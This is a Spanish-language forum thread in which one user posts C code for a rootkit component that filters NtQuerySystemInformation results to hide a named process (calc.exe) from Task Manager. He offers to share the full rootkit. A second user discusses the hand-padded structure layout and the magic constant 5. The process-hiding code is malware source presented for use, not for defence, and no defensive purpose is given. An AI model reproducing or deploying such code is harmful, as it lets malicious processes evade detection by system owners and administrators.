No es el código completo, ya que sería todo demasiado masticado   peeero, lo que queda de implementar (el hook a la api) se puede hacer fácilmente siguiendo mi tutorial sobre ello.

Esto es solo un ejemplo de cómo sería el filtro para ocultar procesos a dicha API (la que usa el admin de tareas para listar los procesos)  

Si abrimos  la calculadora de windows (calc.exe) y descomentamos las línea de código vamos a ver como va mostrando todos los procesos menos el que ocultamos nosotros (con el while anterior).

En fin, aquí esta el código.

// Filtro procesos a la API NtQuerySystemInformation
// Juan fary.
// MVSC++ 2008
 
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
 
typedef struct _SYSTEM_PROCESS_INFORMATION 
{
    DWORD NextEntryOffset;
	char fary1[56];
    DWORD ImageName; 
	DWORD fary2;
    LONG BasePriority; 
    PVOID UniqueProcessId;
} SYSTEM_PROCESS_INFORMATION;
 
typedef DWORD (WINAPI * _SystemProcessInformation)(DWORD, void*, unsigned long, unsigned long*);
 
int main()
{
	_SYSTEM_PROCESS_INFORMATION * spi;
	DWORD ret;
	char proceso[18] = "c\0a\0l\0c\0.\0e\0x\0e\0\0"; // "calc.exe" en unicode proceso que no se mostrará
 
	_SystemProcessInformation __SystemProcessInformation = (_SystemProcessInformation)GetProcAddress(LoadLibraryA("NTDLL.DLL"), "NtQuerySystemInformation");
 
	void * buffer = VirtualAlloc(NULL, 1024*1024, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
 
	spi = (_SYSTEM_PROCESS_INFORMATION *)buffer;
 
	ret = __SystemProcessInformation(5, spi, 1024*1024, NULL);
 
 
	//_SYSTEM_PROCESS_INFORMATION * Intacta = spi; // Para comprobar que el hook funciono.
 
 
	while(spi->NextEntryOffset) // Filtro para saltar el proceso que nosotros queramos.
	{
		_SYSTEM_PROCESS_INFORMATION * Viejospi = spi;
		spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
 
		if (lstrcmpW((LPCWSTR)spi->ImageName,(LPCWSTR)proceso) == 0)
		{
			Viejospi->NextEntryOffset += (DWORD)spi->NextEntryOffset;
		}else{
			spi = Viejospi;
			spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
		}        
	}
 
	/*spi = Intacta;
	while(spi->NextEntryOffset) // Comprobamos que muestra todos los procemos menos el que ocultamos ;P
    {
        MessageBoxW(0, (LPCWSTR) spi->ImageName, 0, 0);
        spi=(_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset); 
    }*/
 
	return 0;
}

Sí teneis alguna duda o queréis que ponga el código completo del rootkit avisar, aunque perdería la gracia.

saludos.

Hola fary he estado mirando tu codigo, pero no se de donde te sacaste
la estructura system_process_information

segun la documentacion de microsoft es esta

typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset;
    BYTE Reserved1[52];
    PVOID Reserved2[3];
    HANDLE UniqueProcessId;
    PVOID Reserved3;
    ULONG HandleCount;
    BYTE Reserved4[4];
    PVOID Reserved5[11];
    SIZE_T PeakPagefileUsage;
    SIZE_T PrivatePageCount;
    LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION;

pero obviamente no funciona ya que el tamano de la estructura es diferente me he dado cuenta que a fuerza se necesitan reservan 56 bytes para que la siguiente variable pueda almacenar la direccion del nombre del proceso en este caso para que funcione tengo que comentar la variable reserved2 y reasginar el tamano de reserved1 a 56
algo asi

typedef struct _SYSTEM_PROCESS_INFORMATION
{
    ULONG NextEntryOffset;
    BYTE Reserved1[56];
   // PVOID Reserved2[3];
    HANDLE UniqueProcessId;
    PVOID Reserved3;
    ULONG HandleCount;
    BYTE Reserved4[4];
    PVOID Reserved5[11];
    SIZE_T PeakPagefileUsage;
    SIZE_T PrivatePageCount;
    LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION;
 

Asi si funciona pero algo no cuadra ya que presiento que los valores de la estrucutra que publico microsoft  por algo son y no entiendo porque hay que estar modificandolos o no alcanzo a entenderlo del todo.

la info la he sacado de aqui : https://msdn.microsoft.com/en-gb/library/windows/desktop/ms724509.aspx

ademas cuesta trabajo leer esto

ret = __SystemProcessInformation(5, spi, 1024*1024, NULL);

no se que sicnifica ese cinco, te recomiendo que pongas el enumerado que le corresponde en este caso

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemBasicInformation = 0,
    SystemPerformanceInformation = 2,
    SystemTimeOfDayInformation = 3,
    SystemProcessInformation = 5,
    SystemProcessorPerformanceInformation = 8,
    SystemInterruptInformation = 23,
    SystemExceptionInformation = 33,
    SystemRegistryQuotaInformation = 37,
    SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
 

y obivamente la llamada seria

__SystemProcessInformation(SystemProcessInformation, spi, 1024*1024, NULL);